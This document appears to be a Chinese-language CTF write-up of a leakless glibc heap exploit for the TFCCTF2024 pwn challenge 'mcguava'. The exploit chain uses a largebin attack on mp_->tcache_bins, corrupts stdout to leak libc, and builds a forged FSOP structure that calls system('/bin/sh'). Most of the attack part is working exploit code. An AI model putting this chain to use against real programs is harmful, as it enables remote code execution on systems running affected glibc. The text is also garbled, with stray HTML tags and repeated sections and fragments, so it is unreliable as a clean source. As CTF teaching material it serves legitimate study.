TFCCTF2024 pwn - mcguava 非预期解法：基于 mp_ 结构体的 leakless RCE 技巧<\/h1>

1. 前言<\/h2>
在 TFCCTF2024 的困难 pwn 题 mcguava 中，网上公开的解法大多通过 house of water 技术完成利用。本文介绍一种更优雅的非预期解法，该技巧在 glibc 高版本（包括 2.39）中均可使用，无需信息泄露即可实现 RCE。<\/p>

2. 新的 leakless RCE 技巧思路<\/h2>

2.1 与经典 house of water 的区别<\/h3>

house of water 技术要点：<\/strong><\/p>

通过申请不同大小的 chunk，在 tcache_perthread_struct<\/code> 中伪造 fake chunk header<\/li>
通过堆风水布局让伪造的 chunk 被合并到 unsortedbin 中<\/li>
使得 tcache_perthread_struct<\/code> 中出现 libc 地址（arena 地址）<\/li>
通过部分覆盖修改最低 2 字节指向 stdout，修改 stdout 的值泄露地址<\/li>
最终通过 FSOP 完成 RCE<\/li> <\/ul> 新的基于 mp_ 的 leakless 技巧：<\/strong><\/p> 通过 largebin attack 攻击 mp_->tcache_bins<\/code> 变量<\/li> 使更大范围的 chunk 都被识别为 tcache chunk<\/li> 提前在堆上布局 stdout 指针<\/li> 通过分配相应大小的 chunk 直接分配 stdout 的地址<\/li> 修改 stdout 泄露 libc 地址，再通过 FSOP 完成 RCE<\/li> <\/ul> 2.2 技术优势<\/h3> 概率与 house of water 相同（1\/16）<\/li> 在当前题目场景下只需极少次数的内存分配<\/li> 利用流程更加简洁<\/li> <\/ul> 2.3 前置条件<\/h3> 能够分配内存并写入数据（支持部分覆盖）<\/li> 能够释放内存<\/li> 存在可促成 largebin attack 的漏洞（UAF、Double-Free、BOF 等）<\/li> <\/ol> 3. 题目环境分析<\/h2> 3.1 保护机制<\/h3> Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled <\/code><\/pre> 3.2 程序逻辑<\/h3> 程序是简单的菜单题，只有两个功能：<\/p> guava() - 添加功能：<\/strong><\/p> 申请最大 0x6FF 大小的内存<\/li> 可向指定偏移处写入数据（需满足 0 ≤ size2 < size-2<\/code>）<\/li> 读取大小为 size - size2<\/code> 的数据（至少 2 字节）<\/li> 指针存储在全局数组 guava_gius<\/code> 中<\/li> <\/ul> gius() - 删除功能：<\/strong><\/p> 释放指定索引的内存<\/li> 关键漏洞：不清空指针<\/strong>，导致 UAF 和 Double-Free<\/li> 最多 255 次分配机会<\/li> <\/ul> 4. 利用流程详解<\/h2> 4.1 地址爆破场景下的调试技巧<\/h3> 对于 1\/16 的地址爆破，可使用以下命令禁用 ASLR 便于调试：<\/p> setarch $(<\/span>uname -m)<\/span> -R zsh <\/span><\/span><\/code><\/pre>4.2 布局 stdout 指针<\/h3> 首先在堆上布局指向 stdout 的指针：<\/p> # 准备两个指向 stdout 的指针<\/span> <\/span><\/span>target =<\/span> add(0x6f8<\/span>, 0<\/span>, b<\/span>"reserved"<\/span>) # 为后续 tcache 条目预留<\/span> <\/span><\/span>add(0x18<\/span>, 0<\/span>, b<\/span>"aaa"<\/span>) <\/span><\/span>dele(target) <\/span><\/span>target1 =<\/span> add(0x18<\/span>, 0<\/span>, p16(stdout_)) <\/span><\/span>target2 =<\/span> add(0x6f8<\/span>-<\/span>0x20<\/span>, 0<\/span>, p16(stdout_)) <\/span><\/span><\/code><\/pre>内存布局示例：<\/p> 0x55555555a290 0x0000000000000000 0x0000000000000021 0x55555555a2a0 0x00007ffff7faf5c0 0x00007ffff7faefd0 # stdout 指针 0x55555555a2b0 0x000055555555a290 0x00000000000006e1 0x55555555a2c0 0x00007ffff7faf5c0 0x00007ffff7faeb20 # 另一个 stdout 指针 <\/code><\/pre> 4.3 Heap Fengshui：创造重叠块<\/h3> 这是利用的关键难点，需要为 largebin attack 准备条件。<\/p> 步骤 1：创建基础布局<\/h4> idxs =<\/span> [] <\/span><\/span>for<\/span> i in<\/span> range(16<\/span>): <\/span><\/span> idxs.<\/span>append(add(0xf8<\/span>, 0<\/span>, b<\/span>"filler"<\/span>)) <\/span><\/span>add(0x18<\/span>, 0<\/span>, b<\/span>"barrier"<\/span>) <\/span><\/span>la_u =<\/span> add(0x418<\/span>, 0<\/span>, b<\/span>"component"<\/span>) # largebin attack 的 unsortedbin 组件<\/span> <\/span><\/span>add(0x18<\/span>, 0<\/span>, b<\/span>"a"<\/span>) <\/span><\/span>for<\/span> i in<\/span> range(16<\/span>): <\/span><\/span> dele(idxs[i]) <\/span><\/span><\/code><\/pre>步骤 2：准备 largebin chunk<\/h4> padding =<\/span> add(0x4c8<\/span>-<\/span>0x20<\/span>, 0<\/span>, b<\/span>"f"<\/span>) <\/span><\/span>large =<\/span> add(0x428<\/span>+<\/span>0x20<\/span>, 0<\/span>, b<\/span>"1"<\/span>) <\/span><\/span>dele(large) <\/span><\/span>dele(padding) <\/span><\/span><\/code><\/pre>步骤 3：伪造 chunk 元数据<\/h4> # 伪造 fake nextchunk<\/span> <\/span><\/span>add(0xf8<\/span>, 0<\/span>, b<\/span>"a"<\/span>) <\/span><\/span>dele(idxs[-<\/span>1<\/span>]) <\/span><\/span>add(0xf8<\/span>, 0xd0<\/span>, pack(0x430<\/span>)+<\/span>pack(0x11<\/span>)+<\/span>pack(0x440<\/span>)+<\/span>pack(0x11<\/span>)) <\/span><\/span> <\/span><\/span># 伪造 largebin chunk size<\/span> <\/span><\/span>add(0xf8<\/span>, 0<\/span>, "a"<\/span>) <\/span><\/span>dele(idxs[11<\/span>]) <\/span><\/span>add(0xf8<\/span>, 0xa8<\/span>, pack(0x431<\/span>)+<\/span>pack(0<\/span>)*<\/span>2<\/span>) <\/span><\/span><\/code><\/pre>最终内存布局包含一个 0x430 大小的 largebin chunk，其 +0x10 处重叠一个 unsortedbin chunk。<\/p> 4.4 largebin attack 攻击 mp_ 结构体<\/h3> mp_ 结构体关键变量<\/h4> struct<\/span> malloc_par { <\/span><\/span> \/\/ ... 其他字段 <\/span><\/span><\/span><\/span> size_t tcache_bins; \/\/ tcache 的最大 bin 数量 <\/span><\/span><\/span><\/span> size_t tcache_max_bytes; \/\/ tcache 的最大 chunk 大小 <\/span><\/span><\/span><\/span> \/\/ ... 其他字段 <\/span><\/span><\/span><\/span>}; <\/span><\/span><\/code><\/pre>目标是通过 largebin attack 修改 mp_->tcache_bins<\/code> 为堆地址，使超大 chunk 也被识别为 tcache chunk。<\/p> 攻击步骤<\/h4> # 释放 0x418 大小的 unsortedbin chunk<\/span> <\/span><\/span>dele(la_u) <\/span><\/span> <\/span><\/span># 设置 largebin chunk->nextsize_bk 的低 2 字节<\/span> <\/span><\/span>dele(idxs[11<\/span>]) <\/span><\/span>add(0xf8<\/span>, 0xa8<\/span>+<\/span>0x20<\/span>, p16(mp_ +<\/span> 0x68<\/span> -<\/span> 0x20<\/span>)) # 指向 mp_->tcache_bins<\/span> <\/span><\/span> <\/span><\/span># 触发 largebin attack<\/span> <\/span><\/span>add(0x6f0<\/span>, 0<\/span>, b<\/span>"111"<\/span>) <\/span><\/span><\/code><\/pre>攻击成功后，mp_->tcache_bins<\/code> 被修改为堆地址，使得超大尺寸的 chunk 也会被 tcache 处理。<\/p> 4.5 利用 stdout 泄露 libc 地址<\/h3> 准备 tcache count<\/h4> res1 =<\/span> add(0x18<\/span>, 0<\/span>, b<\/span>"1"<\/span>) <\/span><\/span>res2 =<\/span> add(0x28<\/span>, 0<\/span>, b<\/span>"2"<\/span>) <\/span><\/span>res3 =<\/span> add(0x38<\/span>, 0<\/span>, b<\/span>"3"<\/span>) <\/span><\/span># ... 更多尺寸<\/span> <\/span><\/span>dele(res1) <\/span><\/span>dele(res2) <\/span><\/span>dele(res3) <\/span><\/span><\/code><\/pre>修改 stdout 结构泄露地址<\/h4> # 对应 tcache 的 0x438 和 0x478 尺寸<\/span> <\/span><\/span>add(0x438<\/span>, 0<\/span>, pack(0xfbad1800<\/span>)+<\/span>pack(0<\/span>)*<\/span>3<\/span>+<\/span>p8(0<\/span>)) <\/span><\/span>leak =<\/span> r(8<\/span>) <\/span><\/span>leak =<\/span> unpack(leak) <\/span><\/span>libc.<\/span>address =<\/span> leak -<\/span> 0x204644<\/span> <\/span><\/span><\/code><\/pre>stdout flags 修改说明：<\/strong><\/p> 原始值：0xfbad2887<\/li> 修改值：0xfbad1800 或 0xfbad3887<\/li> <\/ul> 关键标志位对比：<\/p> 标志位<\/th> 0x1800 (利用)<\/th> 0x2887 (原始)<\/th> 描述<\/th> <\/tr> <\/thead> _IO_IS_FILEBUF<\/td> 否<\/td> 是<\/td> 文件缓冲区 vs 字符串缓冲区<\/td> <\/tr> _IO_IS_APPENDING<\/td> 是<\/td> 否<\/td> 追加模式<\/td> <\/tr> _IO_CURRENTLY_PUTTING<\/td> 是<\/td> 是<\/td> 正在进行输出操作<\/td> <\/tr> _IO_USER_BUF<\/td> 否<\/td> 是<\/td> 用户提供缓冲区<\/td> <\/tr> <\/tbody> <\/table> 最关键的是 _IO_IS_APPENDING<\/code> (0x1000) 位，设置此位可立即输出缓冲区内容。<\/p> 4.6 House of Emma + House of Cat 组合利用<\/h3> IO 结构伪造<\/h4> fp =<\/span> libc.<\/span>sym.<\/span>_IO_2_1_stdout_ <\/span><\/span>io_payload =<\/span> flat({ <\/span><\/span> 0x00<\/span>: b<\/span>"\/bin\/sh<\/span>\x00<\/span>"<\/span>, <\/span><\/span> 0x18<\/span>: pack(libc.<\/span>sym.<\/span>system), # 触发时调用的函数<\/span> <\/span><\/span> 0x20<\/span>: pack(fp), # 满足 write_base < write_ptr<\/span> <\/span><\/span> 0x88<\/span>: pack(fp+<\/span>8<\/span>), # lock 指针<\/span> <\/span><\/span> 0xa0<\/span>: pack(fp), # _wide_data<\/span> <\/span><\/span> 0xc0<\/span>: pack(0<\/span>), # mode<\/span> <\/span><\/span> 0xd8<\/span>: pack(libc.<\/span>sym.<\/span>_IO_wfile_jumps+<\/span>0x10<\/span>), # vtable 偏移<\/span> <\/span><\/span> 0xe0<\/span>: pack(fp), # _wide_vtable<\/span> <\/span><\/span>}, filler=<\/span>b<\/span>"<\/span>\x00<\/span>"<\/span>) <\/span><\/span> <\/span><\/span>add(0x478<\/span>, 0<\/span>, io_payload) <\/span><\/span><\/code><\/pre>利用链原理<\/h4> 调用 puts<\/code> 触发 _IO_sputn<\/code><\/li> 进入 __GI__IO_wfile_seekoff<\/code><\/li> 满足条件后调用 __GI__IO_switch_to_wget_mode<\/code><\/li> 执行 [rax + 0x18]<\/code> 处的函数（即 system）<\/li> 参数为 stdout 结构开头（即 "\/bin\/sh"）<\/li> <\/ol> 关键检查条件：<\/p> write_base < write_ptr<\/code>：通过设置 0x20 处的大值满足<\/li> rax 来自 [stdout+0xa0]+0xe0]<\/code>：通过伪造结构控制<\/li> <\/ul> 5. 完整利用代码要点<\/h2> # 触发 largebin 排序<\/span> <\/span><\/span>dele(large) <\/span><\/span>tmp =<\/span> add(0x438<\/span>+<\/span>0x80<\/span>, 0<\/span>, b<\/span>"1"<\/span>) <\/span><\/span>tmp2 =<\/span> add(0x438<\/span>, 0x20<\/span>, b<\/span>"2"<\/span>) <\/span><\/span> <\/span><\/span># largebin attack<\/span> <\/span><\/span>dele(la_u) <\/span><\/span>dele(idxs[11<\/span>]) <\/span><\/span>add(0xf8<\/span>, 0xa8<\/span>+<\/span>0x20<\/span>, p16(mp_ +<\/span> 0x68<\/span> -<\/span> 0x20<\/span>)) <\/span><\/span>add(0x6f0<\/span>, 0<\/span>, b<\/span>"111"<\/span>) <\/span><\/span> <\/span><\/span># 准备 tcache<\/span> <\/span><\/span>dele(res1); dele(res2); dele(res3) <\/span><\/span> <\/span><\/span># 泄露 libc<\/span> <\/span><\/span>add(0x438<\/span>, 0<\/span>, pack(0xfbad3887<\/span>)+<\/span>pack(0<\/span>)*<\/span>3<\/span>+<\/span>p8(0<\/span>)) <\/span><\/span>leak =<\/span> unpack(r(8<\/span>)) <\/span><\/span>libc.<\/span>address =<\/span> leak -<\/span> 0x204644<\/span> <\/span><\/span> <\/span><\/span># FSOP<\/span> <\/span><\/span>add(0x478<\/span>, 0<\/span>, io_payload) <\/span><\/span># 触发 getshell<\/span> <\/span><\/span><\/code><\/pre>6. 总结<\/h2> 本文详细介绍了一种新的 leakless RCE 技巧，主要特点包括：<\/p> 基于 mp_ 结构体<\/strong>：通过修改 tcache_bins<\/code> 扩大 tcache 处理范围<\/li> 无需信息泄露<\/strong>：通过部分覆盖和堆布局实现利用<\/li> 高版本兼容<\/strong>：在 glibc 2.39 等新版本中有效<\/li> 利用效率高<\/strong>：相比 house of water 需要更少的内存操作<\/li> <\/ol> 该技巧为 leakless 场景下的漏洞利用提供了新的思路，在合适的漏洞条件下可以高效实现 RCE。<\/p> 7. 参考资料<\/h2> glibc 2.39 源码<\/li> 堆利用详解：house of cat（含 2.35 & 2.39 IO 伪造过程分析）<\/li> 2025 强网杯S9 pwn - bph 复盘详解<\/li> <\/ol>

标志位<\/th>	0x1800 (利用)<\/th>	0x2887 (原始)<\/th>	描述<\/th> <\/tr> <\/thead>
_IO_IS_FILEBUF<\/td>	否<\/td>	是<\/td>	文件缓冲区 vs 字符串缓冲区<\/td> <\/tr>
_IO_IS_APPENDING<\/td>	是<\/td>	否<\/td>	追加模式<\/td> <\/tr>
_IO_CURRENTLY_PUTTING<\/td>	是<\/td>	是<\/td>	正在进行输出操作<\/td> <\/tr>
_IO_USER_BUF<\/td>	否<\/td>	是<\/td>	用户提供缓冲区<\/td> <\/tr> <\/tbody> <\/table> 最关键的是 `_IO_IS_APPENDING<\/code> (0x1000) 位，设置此位可立即输出缓冲区内容。<\/p>` 4.6 House of Emma + House of Cat 组合利用<\/h3> IO 结构伪造<\/h4> fp =<\/span> libc.<\/span>sym.<\/span>_IO_2_1_stdout_ <\/span><\/span>io_payload =<\/span> flat({ <\/span><\/span> 0x00<\/span>: b<\/span>"\/bin\/sh<\/span>\x00<\/span>"<\/span>, <\/span><\/span> 0x18<\/span>: pack(libc.<\/span>sym.<\/span>system), # 触发时调用的函数<\/span> <\/span><\/span> 0x20<\/span>: pack(fp), # 满足 write_base < write_ptr<\/span> <\/span><\/span> 0x88<\/span>: pack(fp+<\/span>8<\/span>), # lock 指针<\/span> <\/span><\/span> 0xa0<\/span>: pack(fp), # _wide_data<\/span> <\/span><\/span> 0xc0<\/span>: pack(0<\/span>), # mode<\/span> <\/span><\/span> 0xd8<\/span>: pack(libc.<\/span>sym.<\/span>_IO_wfile_jumps+<\/span>0x10<\/span>), # vtable 偏移<\/span> <\/span><\/span> 0xe0<\/span>: pack(fp), # _wide_vtable<\/span> <\/span><\/span>}, filler=<\/span>b<\/span>"<\/span>\x00<\/span>"<\/span>) <\/span><\/span> <\/span><\/span>add(0x478<\/span>, 0<\/span>, io_payload) <\/span><\/span><\/code><\/pre>利用链原理<\/h4> 调用 puts<\/code> 触发 _IO_sputn<\/code><\/li> 进入 __GI__IO_wfile_seekoff<\/code><\/li> 满足条件后调用 __GI__IO_switch_to_wget_mode<\/code><\/li> 执行 [rax + 0x18]<\/code> 处的函数（即 system）<\/li> 参数为 stdout 结构开头（即 "\/bin\/sh"）<\/li> <\/ol> 关键检查条件：<\/p> write_base < write_ptr<\/code>：通过设置 0x20 处的大值满足<\/li> rax 来自 [stdout+0xa0]+0xe0]<\/code>：通过伪造结构控制<\/li> <\/ul> 5. 完整利用代码要点<\/h2> # 触发 largebin 排序<\/span> <\/span><\/span>dele(large) <\/span><\/span>tmp =<\/span> add(0x438<\/span>+<\/span>0x80<\/span>, 0<\/span>, b<\/span>"1"<\/span>) <\/span><\/span>tmp2 =<\/span> add(0x438<\/span>, 0x20<\/span>, b<\/span>"2"<\/span>) <\/span><\/span> <\/span><\/span># largebin attack<\/span> <\/span><\/span>dele(la_u) <\/span><\/span>dele(idxs[11<\/span>]) <\/span><\/span>add(0xf8<\/span>, 0xa8<\/span>+<\/span>0x20<\/span>, p16(mp_ +<\/span> 0x68<\/span> -<\/span> 0x20<\/span>)) <\/span><\/span>add(0x6f0<\/span>, 0<\/span>, b<\/span>"111"<\/span>) <\/span><\/span> <\/span><\/span># 准备 tcache<\/span> <\/span><\/span>dele(res1); dele(res2); dele(res3) <\/span><\/span> <\/span><\/span># 泄露 libc<\/span> <\/span><\/span>add(0x438<\/span>, 0<\/span>, pack(0xfbad3887<\/span>)+<\/span>pack(0<\/span>)*<\/span>3<\/span>+<\/span>p8(0<\/span>)) <\/span><\/span>leak =<\/span> unpack(r(8<\/span>)) <\/span><\/span>libc.<\/span>address =<\/span> leak -<\/span> 0x204644<\/span> <\/span><\/span> <\/span><\/span># FSOP<\/span> <\/span><\/span>add(0x478<\/span>, 0<\/span>, io_payload) <\/span><\/span># 触发 getshell<\/span> <\/span><\/span><\/code><\/pre>6. 总结<\/h2> 本文详细介绍了一种新的 leakless RCE 技巧，主要特点包括：<\/p> 基于 mp_ 结构体<\/strong>：通过修改 tcache_bins<\/code> 扩大 tcache 处理范围<\/li> 无需信息泄露<\/strong>：通过部分覆盖和堆布局实现利用<\/li> 高版本兼容<\/strong>：在 glibc 2.39 等新版本中有效<\/li> 利用效率高<\/strong>：相比 house of water 需要更少的内存操作<\/li> <\/ol> 该技巧为 leakless 场景下的漏洞利用提供了新的思路，在合适的漏洞条件下可以高效实现 RCE。<\/p> 7. 参考资料<\/h2> glibc 2.39 源码<\/li> 堆利用详解：house of cat（含 2.35 & 2.39 IO 伪造过程分析）<\/li> 2025 强网杯S9 pwn - bph 复盘详解<\/li> <\/ol>

TFCCTF2024 pwn - mcguava 非预期解法：基于 mp_ 结构体的 leakless RCE 技巧<\/h1>

1. 前言<\/h2> 在 TFCCTF2024 的困难 pwn 题 mcguava 中，网上公开的解法大多通过 house of water 技术完成利用。本文介绍一种更优雅的非预期解法，该技巧在 glibc 高版本（包括 2.39）中均可使用，无需信息泄露即可实现 RCE。<\/p>

2. 新的 leakless RCE 技巧思路<\/h2>

3. 题目环境分析<\/h2>

4. 利用流程详解<\/h2>

4.3 Heap Fengshui：创造重叠块<\/h3> 这是利用的关键难点，需要为 largebin attack 准备条件。<\/p>

4.4 largebin attack 攻击 mp_ 结构体<\/h3>

7. 参考资料<\/h2> glibc 2.39 源码<\/li> 堆利用详解：house of cat（含 2.35 & 2.39 IO 伪造过程分析）<\/li> 2025 强网杯S9 pwn - bph 复盘详解<\/li> <\/ol>

1. 前言<\/h2>
在 TFCCTF2024 的困难 pwn 题 mcguava 中，网上公开的解法大多通过 house of water 技术完成利用。本文介绍一种更优雅的非预期解法，该技巧在 glibc 高版本（包括 2.39）中均可使用，无需信息泄露即可实现 RCE。<\/p>

4.3 Heap Fengshui：创造重叠块<\/h3>
这是利用的关键难点，需要为 largebin attack 准备条件。<\/p>

7. 参考资料<\/h2>

glibc 2.39 源码<\/li>
堆利用详解：house of cat（含 2.35 & 2.39 IO 伪造过程分析）<\/li>
2025 强网杯S9 pwn - bph 复盘详解<\/li> <\/ol>